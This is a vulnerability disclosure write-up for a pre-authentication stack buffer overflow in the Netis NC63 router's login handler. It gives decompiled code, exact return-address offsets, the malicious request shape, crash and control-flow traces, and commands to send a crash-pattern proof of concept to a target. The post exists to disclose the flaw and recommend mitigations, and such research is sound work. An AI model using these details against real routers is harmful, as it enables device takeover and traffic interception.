CVE-2026-76070: Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in Netis NC63 login.cgi Leading to RCE
On this page
- Netis NC63 | CVE-2026-76070 | Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in login.cgi Leading to RCE
- Vulnerability: Pre-Authentication Stack Buffer Overflow → Remote Code Execution
- CVE: CVE-2026-76070
- CVE Status: Assigned by VulnCheck; record population pending at the time of writing
- Researcher: Özcan Ersan (@ozcanpng)
- Introduction
- Affected Target
- Short Version
- Attack Surface and Authentication Status
- Root Cause: Decoded Length Is Not Bound to Destination Capacity
- Stack Corruption Analysis
- Dynamic Verification
- 1. Saved Return Address Replaced with 0x42424242
- 2. Controlled Program Counter
- 3. Observation-Only RCE Boundary
- Privilege and Hardening Context
- Safe Public Proof of Concept
- Impact
- Classification
- Mitigation
- Disclosure Timeline
- Disclosure Note
- References
Netis NC63 | CVE-2026-76070 | Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in login.cgi Leading to RCE
Vulnerability: Pre-Authentication Stack Buffer Overflow → Remote Code Execution
CVE: CVE-2026-76070
CVE Status: Assigned by VulnCheck; record population pending at the time of writing
Researcher: Özcan Ersan (@ozcanpng)
Introduction
This post documents CVE-2026-76070, a pre-authentication stack buffer overflow in the public login handler of Netis NC63 firmware V3.0.0.3327.
The vulnerable operation is not “Base64” in isolation. Base64 is only the input transformation used by the frontend. The security defect is that /bin/netis.cgi decodes an attacker-controlled value into a fixed 64-byte stack destination without giving the custom decoder the destination capacity or validating the decoded length first.
The overflow occurs before the submitted password is compared with the configured administrator password. A valid password, authenticated session, Cookie header, or Authorization header is therefore unnecessary.
Testing was performed with an original-hash production CGI in a disposable qemu-mipsel runtime. Saved return-address control, program-counter control, and an attacker-selected argument reaching the original system() path were dynamically observed. The final command-interpreter boundary was replaced with an observation-only logger, so no command was executed.
Affected Target
| Field | Value |
|---|---|
| Vendor | Netis Systems Co., Ltd. |
| Product | Netis NC63 Wireless AC1200 Router |
| Firmware | NC63_V3.0.0.3327 |
| Architecture | MIPS32r2 little-endian, o32 ABI, uClibc |
| Web server | Boa/0.94.14rc21 |
| CGI binary | /bin/netis.cgi |
| Endpoint | POST /cgi-bin/login.cgi |
| Parameter | Base64-encoded password |
| Authentication | None; vulnerable decode is pre-authentication |
Firmware and binary hashes:
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi

Short Version
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| destination capacity is not supplied
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
|
v
RCE primitive in the privileged CGI context
The key verified measurements are:
- decoded buffer capacity: 64 bytes
- saved frame-pointer offset: 132 bytes
- saved return-address offset: 136 bytes
- login handler entry:
0x0041a2e0 - custom decoder:
FUN_00402bd4 - direct
jal system:0x0041a3cc
Attack Surface and Authentication Status
The frontend transforms the password and sends it to the login endpoint:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
The HTML input uses a client-side limit:
<input type="password" id="login_pwd" maxlength="63" />

A direct HTTP client is not bound by this attribute. The vulnerable request shape is simply:
POST /cgi-bin/login.cgi HTTP/1.0
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: ...
password=<Base64-encoded decoded pattern>
The login endpoint must accept credentials before authentication. More importantly, the decoder call runs before strcmp(decoded, stored). An incorrect password still corrupts the current stack frame before the handler decides whether authentication succeeded.
Root Cause: Decoded Length Is Not Bound to Destination Capacity
Ghidra-derived pseudocode, with normalized names:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

FUN_00402bd4 receives a destination pointer and source pointer, but no destination length. Its loop advances the destination and writes three output bytes per complete four-symbol Base64 group:
00402c70 move t8,s1
00402c74 addiu s1,t8,1
...
00402ccc sb v0,0(t8)
00402cd0 move t8,s1
00402cd4 addiu s1,t8,1
...
00402d30 sb v0,0(t8)
00402d34 move t8,s1
00402d38 addiu s1,t8,1
...
00402d8c sb v0,0(t8)

For ordinary Base64, four encoded symbols represent up to three decoded bytes. Checking only the encoded text or relying on a browser’s clear-text password limit is insufficient. The server must calculate the decoded size, account for padding, reserve termination space where required, and reject values that do not fit the destination.
Stack Corruption Analysis
The login handler allocates a 168-byte (0xa8) frame:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
The decoded buffer starts at s8+0x1c:
0041a35c addiu t8,s8,28
0041a360 move a0,t8
0041a364 lw a1,24(s8)
0041a368 jal 0x00402bd4
The epilogue restores saved state from s8+0xa0 and s8+0xa4:
decoded buffer s8+0x1c decoded offset 0
buffer capacity 64 bytes
saved frame pointer s8+0xa0 decoded offset 132
saved return address s8+0xa4 decoded offset 136
The exact saved-return distance is 0xa4 - 0x1c = 0x88, or 136 bytes.

Dynamic Verification
1. Saved Return Address Replaced with 0x42424242
A POST body whose password decoded to exactly 140 B bytes caused:
open("/tmp/boa_auth", O_RDONLY) = -1 ENOENT
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

This proves that HTTP-controlled decoded bytes reach saved ra; it is not only a static offset calculation.
2. Controlled Program Counter
A second 140-byte input replaced saved ra with 0x0041a2e0, the login handler’s fixed entry address. QEMU CPU logging observed a normal first entry and a second entry with overwritten state:
login_entry_hit=2 pc=0x0041a2e0 ...
GPR28: ... s8 41414141 ra 0041a2e0
PASS: first hit is normal dispatch; second hit is the overwritten RA.

3. Observation-Only RCE Boundary
The production binary has a direct jal system at 0x0041a3cc. A private, non-destructive validation used existing fixed-base instructions to place a marker in MIPS a0 and reach that call. Inside the disposable namespace, /bin/sh was replaced with a logger that never interpreted its third argument:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
The overflow, saved return-address control, PC control, a0 control, and original system() transfer occur in the production CGI. Replacing the shell changes only the final boundary so the test can observe the argument without running it.
The test proves the RCE primitive in the isolated environment. It does not prove identical exploit reliability on a physical device with its deployed kernel and address-randomization behavior.
Privilege and Hardening Context
The original Boa configuration runs the CGI environment as root:
User root
Group root
CGIPath /bin:/usr/bin:/web/cgi-bin/

The production netis.cgi is also a fixed-base MIPS executable with no stack canary or RELRO, an executable GNU stack, and RWX segments.

These properties make exploitation easier, but the RCE conclusion is based on dynamic control-flow and guarded argument evidence rather than mitigation state alone.
Safe Public Proof of Concept
The public repository contains a minimal Python generator. Its default mode prints a Base64 form body that decodes to a 140-byte B pattern:
python3 poc/poc.py
Sending requires an explicit authorized target and --send:
python3 poc/poc.py --target http://192.168.1.1 --send
Sending the pattern may crash the CGI process. The public PoC contains no return chain, shellcode, command, reverse shell, or persistence mechanism. The complete observation-only RCE evidence is provided as screenshots and traces, not as a weaponized network exploit.
Impact
An unauthenticated attacker who can reach the management interface may be able to exploit the decoded-password stack overflow and execute attacker-selected code or commands in the router-management context. The production Boa configuration runs CGI as root.
Potential impact includes:
- full router compromise
- disclosure or modification of router configuration and stored secrets
- replacement or modification of trusted configuration and services
- DNS, firewall, and routing manipulation
- traffic interception, modification, or redirection
- credential theft through post-compromise access
- persistent compromise as a possible follow-on action
- management-service or device disruption
The default realistic exposure is usually adjacent-network access to the router management interface. If remote management is enabled or the interface is otherwise exposed, the attack surface can become network-reachable. Persistence and physical-device exploit reliability were not dynamically tested.
Classification
The assigned CVE record had not yet been populated when this post was prepared. The values below are researcher assessments, not VulnCheck-published scores:
Researcher-assessed CVSS v3.1 (typical adjacent management network): 8.8
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Conditional routable-management score: 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CWE-121: Stack-based Buffer Overflow
- Related: CWE-120 — Buffer Copy without Checking Size of Input
Mitigation
- Replace
FUN_00402bd4with a decoder API that accepts destination capacity. - Reject any password whose calculated decoded length exceeds 63 bytes, reserving termination space.
- Enforce length and syntax checks server-side before decoding.
- Audit every other caller of the custom decoder.
- Rebuild with stack canaries, PIE, NX, and RELRO.
- Run web-management components with least privilege.
Disclosure Timeline
- 2026-08-16: discovery and isolated production-binary validation completed.
- August 2026: reported to VulnCheck.
- 2026-08-20: VulnCheck assigned
CVE-2026-76070and authorized public disclosure. - 2026-08-20: public disclosure package prepared; remote publication remained pending explicit push.
Disclosure Note
VulnCheck assigned CVE-2026-76070 on 2026-08-20 and authorized public disclosure.
I intentionally avoided destructive validation. The public proof of concept uses only a non-executable crash pattern. The RCE validation stopped at an observation-only /bin/sh -c boundary and executed no command.
References
- CVE-2026-76070
- CVE-2026-76070 PoC and Evidence Repository
- VulnCheck
- Netis NC63 Firmware Download Page
- CVE-2026-73673
No physical router was flashed, no real command was run, and no persistence, external connection, credential theft, or destructive operation was performed.